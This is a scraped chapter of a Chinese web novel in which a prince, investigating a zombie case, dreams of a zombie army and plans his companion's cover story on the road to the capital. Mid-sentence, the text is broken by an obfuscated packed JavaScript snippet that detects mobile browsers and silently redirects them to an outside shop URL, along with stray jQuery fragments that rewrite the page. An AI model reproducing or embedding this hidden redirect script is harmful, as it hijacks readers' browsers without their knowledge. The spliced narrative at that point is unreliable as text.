默认冷灰
24号文字
方正启体

24. 第 24 章

作者:喻香本书字数:K更新时间:
    裴仪莞尔一笑,吐出一串足以震惊所有人的话:“秘密自然是丧尸的炮制方法,还有实验基地的位置呀。”


    众人长吁一口,心下不由紧张起来。


    为了守住秘密,幕后人一出手就屠了村。而他们越来越接近丧尸案的核心,是否也越来越危险?


    思及此,众人心下沉沉,默不作声地收拾了桌面,各自散去休息。


    裴仪又在灯下细细将事情整理一遭,突然无端想到:刚才自己咬了两口的鸡腿,最后被谁吃了?


    且说傅瞻在隔壁,早早熄了灯。


    他吃得精细,油腻的近些年已经吃得极少了。只是刚才见阿裴吃得香,自己没忍住也咬了两口。


    这会儿肚子里并不太安稳,他自我唾弃道:叙章,你活该。


    他躺在硬榻上,一遍遍回忆刚才阿裴的结论。丧尸的炮制方法、实验基地的位置……也就是说,这些刀枪不入、力大无穷的人形兵器,其炮制也是有方法的,对吗?


    如果占据了实验基地、抓捕了其中的实验员,自己是不是也有机会制造丧尸兵团呢?


    他的血突然沸腾起来,一双眼在黑夜里亮得吓人,如狼似虎。


    那是一个野心家对力量和权柄的渴望。


    他傅瞻,空有皇室血统,却背着一个写定了命运的名字。原本只愿夹缝求生,不成想太子平庸却狠辣,仰此等人鼻息苟活不易;


    遇见大夫之后,他本想与大夫相互扶持,以自己的一点力量搅乱京中局势,当一个隔岸观火的渔翁;


    而今,一步步走近丧尸案的核心,他突然不再满足于当一个收取小利小惠的渔翁。


    若是自己有了无坚不摧的丧尸军团,什么太子、肃王,谁有一战之力?


    当今皇上又如何,老迈昏聩、独好权术,能挡得住我几拳?


    而北面的乌尔骨如何呢?西面的卢湖沙又如何呢?沃土千里,水丰草茂,牛羊肥美,野马健硕,一切迟早入我掌中!


    他想结束危机四伏的京中生活、想洗净污名、想登顶高位、想开疆拓土、想名垂青史。


    傅瞻狠狠攥了拳,像饿虎看见了落单的羔羊,像赌徒预见了翻盘的希望。


    窗外有月光洒进来,皎洁如水的清亮月光,照在他因为兴奋而微微颤抖的身躯上。


    傅瞻一瞬间想到了大夫。


    阿裴是天底下最聪慧良善的,知他、懂他、体谅他,是拉他出泥淖的手,是引他归航线的灯,是让他不再孤苦无依的风筝线。


    他的阿裴,应该获得理解、珍视与疼惜,应该不受一丝一毫的烦恼侵扰,应该终身平安喜乐。


    应该在他的身边,一生一世一双人,共赏江山万里,共享英名万世。


    可是……


    阿裴仁善,会接受我继续炮制丧尸吗?会接受我四面征战吗?会接受我镇压奴役外族吗?会因此……离开我吗?


    傅瞻痛苦地闭上眼。


    这是他第一次,如此地畏惧天明。


    当第一缕晨光透过窗棂,傅瞻默默睁开眼,眼底清明一片。


    他起身细细整理了半盏茶的功夫,又成了光风霁月、知情识趣的叙章。


    这才是能与阿裴平等共处的搭档,也是阿裴喜欢的伙伴。


    如果最后注定离心离德,那么便珍惜眼前心意相同的日子吧。


    次日众人打点行装,继续往京城去。


    路途中裴仪偶尔打瞌睡,间或与齐香讲讲医学课程,路途倒是不寂寞。


    每到一城,众人必定采买一番;再让松与自行出去寻些好吃的,顺带散布些消息。


    这日松语回来,给大伙儿带了栗子糕,笑道:“我在市口排队,听见前面两个老太太说:‘翊王世子对表姑娘可好了!’


    另一个说‘一表三千里,我倒不信,能有多好?’


    第一个老太太说:‘表姑娘虽容貌好,人却瘦,又溜肩,有些衣服根本架不起来。世子便坐在店铺子里吃着茶等,一连试了七八套,茶都没色了,也不见着急的。’”


    众人边听边吃边笑,裴仪笑骂道:“好啊,让你出去放风,却是去听了闲话拿我取笑的。”


    松语一边捏住齐香捣乱的爪子,一边继续道:“还没说完呢,取笑大夫是万万不敢的。


    另一个老太太说:‘听说翊王世子在京中也是个混不吝的,只怕在女人身上,确实有耐心。’”她觑了一眼傅瞻,“世子莫怪……”


    傅瞻也笑,茶杯一举,好似茶汤真没了色一般:“我昔日在京中的声名确实不好,只是没想到已经流传到老妪能解的地步——你且说,不怪你。”


    “第一个老太太又说:‘你别酸,我观那姑娘是个好的。那天在金器铺,一桌子金的、翠的看花人眼,表姑娘挑来挑去只挑了根乌木的。


    啧,不爱花儿朵儿的,贤惠得很,以后定能勤俭持家。


    只是太瘦弱,心思又重,怕以后不好生养,不然我定要托媒人打听。’


    另一个老太太就笑话她,说:‘人是翊王世子的表妹,请问你家几亩地?几间房?祖上几品官?你家庚生可有功名?兜里比脸上还干净,上下嘴皮子一碰也敢说请媒人,就不怕被人骂出来!’


    ‘我家庚生五代单传,老娘拼了命生下来的宝贝金疙瘩,不比什么都金贵!老老实实一个孩子,端端正正、白白净净的,怎的就配不上她了。’那老太太眼一斜,嘴一撇,‘哼,一个小姑娘家,是仙女都得出嫁;等嫁到我家当媳妇,自然要跪着伺候我洗脚,有什么好得意的。’”


    众人被松语活灵活现的表情逗笑。裴仪嘴里塞了栗子糕,一时说不出话,直笑得眼泪都流了出来。


    “我嫁不嫁可没人管得着。”她好不容易吞了下去,喝了两口茶,玩笑道:“叙章,你果然有远见。


    早知道就该听你的话,金簪子、玉手镯先来三五副,省得平白叫人惦记。


    我脊梁骨太硬,可不想跪着伺候谁洗脚。”


    傅瞻赶忙给她续上茶,检讨道:“咱们大夫人美心善又有本事,总叫人胡乱惦记,是我的错。


    原想着给阿裴进京造些势,日后谈起‘翊王世子寻了个好表妹,慢慢转了性子’也不至于突兀,谁知竟招惹了这些麻烦。”


    他颔首思索了一刻,“松语姐,日后你出门,只对人暗示‘表小姐身子不大好’,多买些静气宁神、健脾开胃的东西。”


    “我胃口好得很呢,”裴仪不解,“怎的又叫我假痴不癫的?”


    傅瞻仰头饮尽杯中茶水,沉声道:“原是我思虑不周。


    本朝有和亲的传统。京中的大长公主便是当年和亲远嫁,蹉跎了十来年才趁着乌尔骨内乱归国。


    今上嫌自己小妹失身蛮夷、面上无光,便遣她住在郊外静养。


    如今乌尔骨内乱平定,新单于希望休养生息,求亲势在必行。


    今上膝下只有一个公主,正是肃王一母同胞的妹妹。肃王有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093232|195528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    势,贵妃得宠,想来护得住她。


    如此一来,和亲的假公主必在京中高门里挑选。


    阿裴,你知我现下处境尴尬,等崭露头角后更是人眼中钉,怕他们会站在道德高地上对你先下手,所以委屈你装装样子。


    如果你一来体弱多病、梦魇频发,难挨羁旅辛劳;二来并非公卿之后,也就没人再动些将你逼走、断我肱骨的歪心思了。”


    “可我是个大夫的事迟早暴露,假装体弱多病岂不荒谬。”


    “若有人问起,便说‘久病成医’,还有一句‘医者不自医’,总是能搪塞一阵的。


    等我手中有些权势,便能护住你,到那时,也就不怕了。”


    裴仪听了他长长的一番话,激灵灵打了个寒战,最后只应了一声:“好。”


    又行了数日,已经抵达京城之前的最后一站,南屏州。


    有了前面的教训,傅瞻再也不敢带着裴仪四处招摇。松语自去散布消息,裴仪见齐香没精打采的,便让傅瞻带她出去转转。


    “阿裴,你要小心。”他一步三回头道。


    “不用担心我,”她坐在二楼窗边吃点心,将湘帘放下遮住人影,“你也略听一听有什么风声。”


    裴仪在路途上颠簸久了,素日里又劳心费神,原本一路又吃又逛尚且不觉得疲累,被拘在客栈中坐着,反而明显精神不济。


    便坐在窗边出神,透过湘帘的缝隙看楼下往来穿梭的行人商贾。


    突然间,楼下传来争执声。


    裴仪将帘子揭起一角,发现是齐香正在同一个陌生青年争吵,额头青筋暴跳。傅瞻抱臂立在一旁,虽未帮腔,却也替齐香壮着声势。


    裴仪不欲生事,心想如若是不凑巧遇见个跑江湖碰瓷的,且破财消灾吧。


    谁料青年虽然衣衫简朴,站在那里却如芝兰玉树一般,还有一把温润的好嗓子,“我是男是女,与输赢有什么相干呢?


    你我提前约定了如何定胜负,难不成只因为我不是男人,便想赖账吗?


    小姐方才从我手中赢走铜板的时候,可也没因为自己是个姑娘,就少拿两个。”


    裴仪在楼上听得有趣,又见齐香气得三尸暴跳、惹人驻足围观,便轻轻提了帘子,也不揭穿她的身份,只唤道:“郎君!我是她姐姐,请您上楼饮一杯茶。”


    半刻之后,那温雅青年便坐在了裴仪对面。


    齐香气得满头大汗,咬着牙、梗着脖子瞪他。傅瞻嘴角噙着笑也不说话。齐香吃瘪,他喜闻乐见。


    在楼下不觉得,坐在对面时,裴仪眼光一扫他平滑的颈下,再联系嗓音、仪态,果然是女扮男装。


    她斟上一杯茶,“姑娘,舍妹年幼,失了礼数,请你海涵。”


    那姑娘并未流露出一丁点惊讶之意,双手接了茶盏,又往裴仪腕间一瞄,含笑道:“在下景源,原也不该与小孩子计较什么,只因引荐无门,才出此下策。”


    “滚啊!骗子!”齐香咬牙切齿道,“还敢来骗我姐姐!”


    裴仪温和地回头看了她一眼,齐香立刻闭了嘴。


    景源粲然一笑,“原本是江湖上的小把戏,不如我再变一次,权当博贵人一笑吧。”


    言毕从腰带里挤出几枚铜板,置在掌中,“小姐,在下掌中置了些钱,先请您看一眼,我再攥成拳头。


    如若您一眼能看出我手中钱的数量,这钱便由您赢去;如若看错了,便输给我等量的,可好?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)